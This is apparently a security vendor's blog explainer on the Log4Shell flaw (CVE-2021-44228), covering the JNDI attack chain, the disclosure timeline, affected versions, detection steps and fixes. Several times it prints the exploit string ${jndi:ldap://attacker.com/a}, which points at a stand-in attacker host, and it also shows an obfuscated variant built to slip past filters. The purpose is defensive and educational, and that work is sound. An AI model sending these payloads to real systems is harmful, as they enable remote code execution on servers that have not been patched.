Security operations

What Is the Log4j Vulnerability? Log4Shell Explained Simply

Log4Shell turned a Java logging library into a remote code execution flaw. Here is how one string in a log message could take over a server, and what to patch now.

Cysoro Security TeamPublished · 8 min read
SECURITY OPERATIONSLog4jvulnerabilityOne string. Total server control.${jndi:ldap://attacker.com/a}10.0
Quick answer

The Log4j vulnerability, known as Log4Shell and tracked as CVE-2021-44228, is a remote code execution flaw in Apache Log4j 2. An attacker could put a crafted string such as ${jndi:ldap://attacker.com/a} into any field that gets logged, and the library would fetch and run code from the attacker's server. It needed no login, scored 10.0 on the CVSS scale, and affected Log4j 2 versions from 2.0-beta9 through 2.14.1.

Key takeaways

  • Log4Shell (CVE-2021-44228) let an unauthenticated attacker run code on a server by getting one crafted string into a log message.
  • It affected Apache Log4j 2 versions 2.0-beta9 through 2.14.1, and was fixed in 2.15.0, with later fixes in 2.16.0 and 2.17.0.
  • Patching Log4j is not enough on its own: you must find every copy bundled inside other software and check for signs of compromise.

In December 2021, a single string typed into a chat box, a username field or a web address could take over a server. That string exploited Log4j, a logging library used by thousands of Java programs, and it became one of the most serious vulnerabilities ever disclosed.

What is the Log4j vulnerability?

The Log4j vulnerability, known as Log4Shell and tracked as CVE-2021-44228, is a remote code execution flaw in Apache Log4j 2. An attacker who could get a crafted string into a log message could make the application fetch and run arbitrary Java code from a server the attacker controlled.

Log4j is a Java logging library from the Apache Software Foundation. Developers use it to record errors, user actions and system events. Because it is bundled inside so many products, from web servers and cloud services to games and business software, one flaw in the library affected a huge number of systems at once.

The flaw scored 10.0 on the CVSS scale, the maximum possible, because it was network-accessible, low complexity, needed no privileges and no user interaction, and could affect confidentiality, integrity and availability. If you run Java services, you should also check your site with our free security headers checker as part of a wider review.

What is Log4j, and what does it do?

Log4j is an open-source logging framework for Java. When a program needs to record something, such as an error, a login attempt or a search query, it hands the text to Log4j, which writes it to a file, a console or another system.

Logging sounds harmless, because it should only write text down. The problem was that Log4j 2 did more than write text: it interpreted parts of the message. If a message contained an expression in the form ${...}, Log4j would expand it, looking up values from the system, the environment or a remote server.

That feature was useful for developers, who could include the current user, hostname or configuration value in a log line automatically. It became dangerous when the text being logged came from an attacker, because the attacker could control what Log4j looked up and where it connected.

Log4Shell in four steps1. PlantAttacker puts${jndi:ldap://...}in logged input2. ResolveLog4j expandsthe expressioninstead of logging it3. FetchJNDI contacts theattacker LDAP serverand gets a Java class4. ExecuteThe server runsthe downloaded codewith app privilegesNo login needed. No user interaction needed. One logged string was enough.CVSS 10.0 — AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H
The Log4Shell attack chain, from a crafted log string to remote code execution. Illustration by Cysoro.

How does Log4Shell work?

Log4Shell works because Log4j treated log messages as something to interpret, not just something to record. When it saw ${jndi:ldap://attacker.com/a} in a message, it performed a JNDI lookup, connected to the attacker's LDAP server, and loaded the Java class that server returned.

The attacker first sets up an LDAP server and hosts a malicious Java class on a web server. Then they send the crafted string in any field the application logs: a User-Agent header, a username, a search box, a filename or a chat message. The application logs the input as normal, and Log4j does the rest.

Once the class runs, the attacker has code execution inside the Java process, with the privileges of that application. From there they can install malware, steal data, move to other systems or deploy ransomware. Trend Micro reported that early attacks dropped Mirai variants, coin miners and Khonsari ransomware payloads.

The exploit string could also be obfuscated, for example by using ${jndi:${lower:l}dap://...} to hide the word ldap from simple filters. That is why blocking on the exact string ${jndi:ldap:// was never a reliable defense on its own.

What happened in December 2021?

Chen Zhaojun of the Alibaba Cloud Security Team privately reported the flaw to Apache on 24 November 2021. Apache released Log4j 2.15.0 on 9 December 2021, and the flaw was publicly disclosed the next day, by which time attackers were already exploiting it.

DateWhat happened
24 Nov 2021Chen Zhaojun reports the flaw privately to Apache
9 Dec 2021Apache releases Log4j 2.15.0 with a fix for CVE-2021-44228
10 Dec 2021Public disclosure; CISA adds it to the Known Exploited Vulnerabilities catalog
13 Dec 2021Apache releases 2.16.0, fixing CVE-2021-45046 in the first patch
17 Dec 2021Apache releases 2.17.0, fixing CVE-2021-45105, a denial-of-service flaw
28 Dec 2021Apache releases 2.17.1, fixing CVE-2021-44832, a remote code execution flaw in non-default configuration

The patch timeline confused many teams, because the first fix was incomplete in certain non-default conditions. The safe advice became simple: upgrade to 2.17.1 or later, and do not stop at 2.15.0. That lesson still applies to any fast-moving vulnerability with follow-up fixes.

Why was Log4Shell so serious?

Three factors made Log4Shell unusually serious: it was trivial to exploit, it needed no authentication, and it was hidden inside thousands of products that most teams did not know used Log4j. An attacker needed only one string, while defenders had to find every copy.

The library had been vulnerable since the JNDI lookup feature was added in Log4j 2.0-beta9 in 2013, so the flaw existed for about eight years before it was found. During that time, Log4j became a standard part of Java development, bundled into web applications, cloud services, security tools and enterprise software.

Exploitation began within hours of disclosure, including by nation-state actors. The US Cyber Safety Review Board later reviewed the incident and focused on the systemic underinvestment in open-source security, because a small volunteer-maintained library underpinned so much of the internet.

Which systems were affected?

Any Java application using a vulnerable version of log4j-core was affected, including many products that bundled Log4j without making it obvious. Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo and VMware vCenter were among the widely used products named in early advisories.

Log4j 1.x was not affected by Log4Shell, and neither were log4net or log4cxx, which are separate Apache Logging Services projects. Apache lists the affected versions on its Log4j security page.

That distinction mattered, because teams that searched only for the name Log4j could waste time on products that were never vulnerable, while missing a bundled copy of log4j-core inside a Java application.

Consumer products were affected too. Minecraft servers logged chat messages with Log4j, so a player could type the exploit string into chat and run code on the server. That example, more than any technical paper, showed why any logged input is an entry point.

Which Log4j versions are affected?Vulnerable — Log4j 22.0-beta9 through 2.14.1Fixed — Log4j 22.15.0, then 2.16.0, 2.17.0, 2.17.1Not affected by Log4ShellLog4j 1.x, log4net, log4cxxStill checkLog4j 1.x has other known flawsUpgrade to 2.17.1 or later. Do not stop at 2.15.0.
Log4j versions affected by Log4Shell and the versions that fixed it. Illustration by Cysoro.

How do you check if you are vulnerable?

Start with an inventory, not a single scan. List your Java applications, servers, containers and vendor products, then check each one for log4j-core and its version, including copies bundled inside other software.

  1. Search your systems for log4j-core files and check the version in each one.
  2. Ask every vendor whether their product uses Log4j, which version, and whether a patch is available.
  3. Run a vulnerability scanner that can find bundled and nested copies, not just files named log4j.
  4. Check logs for exploit strings such as ${jndi: and for outbound connections to unknown LDAP or RMI servers.
  5. Check for compromise, not just for the vulnerable library, because exploitation began within hours of disclosure.

CISA published Log4Shell guidance and a list of affected products, and it advised organizations to assume compromise if a vulnerable system was exposed to the internet before patching. That is a strong statement, but it reflects how fast attackers moved in December 2021.

How do you fix Log4Shell?

Upgrade Log4j to 2.17.1 or later, or to the latest version supported by your Java version. Patching is the only complete fix, and it should be applied to every copy, including copies inside containers, appliances and third-party products.

If you cannot upgrade immediately, use a temporary mitigation while you plan the upgrade. Remove the JndiLookup class from log4j-core, set the system property log4j2.formatMsgNoLookups to true, or set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. You can also block outbound LDAP, RMI and DNS traffic from application servers at the firewall.

Do not rely on a web application firewall rule that blocks ${jndi:ldap:// as your only defense. Attackers used obfuscation to bypass simple string matching, and a WAF cannot see input that is logged after it passes through other systems. Treat WAF rules as a temporary shield, not a fix.

After patching, keep monitoring. Look for new processes, unexpected outbound connections, new user accounts and changes to scheduled tasks, and rotate credentials for any system that may have been exposed while vulnerable.

What did Log4Shell teach the industry?

Log4Shell taught the industry that a logging library is not a low-risk component, and that untrusted input should never be interpreted as code. The fix was not just to patch Log4j, but to change how libraries handle data that comes from users.

  • Know your dependencies: keep a software bill of materials so you can find a vulnerable library in hours, not weeks.
  • Treat logs as untrusted: never let log messages trigger lookups, network calls or code execution.
  • Patch bundled copies: a library inside another product is still your risk, even if you did not choose it directly.
  • Assume fast exploitation: for a flaw this easy, attackers will exploit it within hours of disclosure.
  • Support open source: critical libraries need funding and review, not just volunteers.

These lessons apply well beyond Log4j. Any widely used library, from a PDF parser to an image library, can become a single point of failure if it is bundled everywhere and rarely reviewed. A small business cybersecurity checklist can help you turn these lessons into a regular patching routine.

The bottom line

Log4Shell showed that a flaw in a logging library could become a global emergency, because the library was everywhere and the exploit was a single string. The technical fix was an upgrade, but the real fix was knowing what software you run and patching it quickly.

If you still run Java applications, check for old Log4j copies today, upgrade to a supported version, and look for signs of past compromise. You can start with a basic review of your public site using our free SSL checker and then work through your internal inventory.

Frequently asked questions

What is the Log4j vulnerability in simple terms?

It is a flaw in a popular Java logging library that let an attacker run their own code on a server just by typing a special string into something the server logs, such as a username or a web address. The server treated the string as an instruction to fetch code, instead of just writing it down.

What is Log4Shell?

Log4Shell is the nickname for CVE-2021-44228, the most severe Log4j flaw. It is a remote code execution vulnerability in Apache Log4j 2 that scored 10.0, the maximum CVSS score, because it needed no login and was easy to exploit.

Which versions of Log4j are vulnerable to Log4Shell?

Log4j 2 versions from 2.0-beta9 through 2.14.1 were vulnerable. Log4j 2.15.0 fixed the main flaw, and later versions 2.16.0 and 2.17.0 fixed related issues. Log4j 1.x was not affected by Log4Shell, though it has other known problems.

Is Log4Shell still a problem in 2026?

Yes, for unpatched systems. CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog in December 2021, and it remains listed. Old Java applications, appliances and bundled libraries can still contain vulnerable Log4j copies years after the disclosure.

How do I know if my system uses Log4j?

Check your Java applications, servers and vendor products for log4j-core, and ask vendors for a Log4j statement. Security scanners can find vulnerable copies, including copies bundled inside other software, which are easy to miss by searching file names alone.

What is the fix for Log4Shell?

Upgrade Log4j to 2.17.1 or later, or to the latest supported version for your Java version. If you cannot upgrade immediately, remove the JndiLookup class from log4j-core, set the system property log4j2.formatMsgNoLookups to true, or block outbound LDAP and RMI traffic as a temporary mitigation.

What is JNDI and why did it cause the problem?

JNDI, the Java Naming and Directory Interface, lets a Java program look up resources on other servers. Log4j used JNDI lookups inside log messages, so an attacker-controlled string could tell the program to fetch code from an attacker server. That feature was by design, but it was unsafe when applied to untrusted input.

Can Log4Shell affect Minecraft or other games?

Yes, it did. In December 2021 players could type the exploit string into a Minecraft server chat box and run code on the host, because the server logged the chat text with a vulnerable Log4j version. That example showed how any logged input, not just web forms, could be an entry point.

Sources

  1. Apache Logging Services — Security (Log4j CVEs)
  2. NIST NVD — CVE-2021-44228
  3. IBM — What is the Log4j Vulnerability?
  4. CISA — Apache Log4j Vulnerability Guidance
  5. Trend Micro — Patch Now: Apache Log4j Vulnerability Called Log4Shell
Written & fact-checked byCysoro Security Team

The engineers and analysts who build Cysoro's domain scanner, email-authentication checks and free security tools. We test what we write about every day — SPF, DKIM, DMARC, certificates, look-alike domains and phishing — and check each guide against the relevant standards, government guidance and vendor documentation.

  • Email authentication
  • Phishing & BEC
  • Domain & DNS security
  • Small-business security

Checked against Apache Logging Services security pages, the NIST NVD record for CVE-2021-44228, IBM and CISA Log4Shell guidance.

How we write and fact-check →

Free tools for this topic

No account needed.

See where your domain stands

Free for up to 3 domains. No card, no installs.

Start free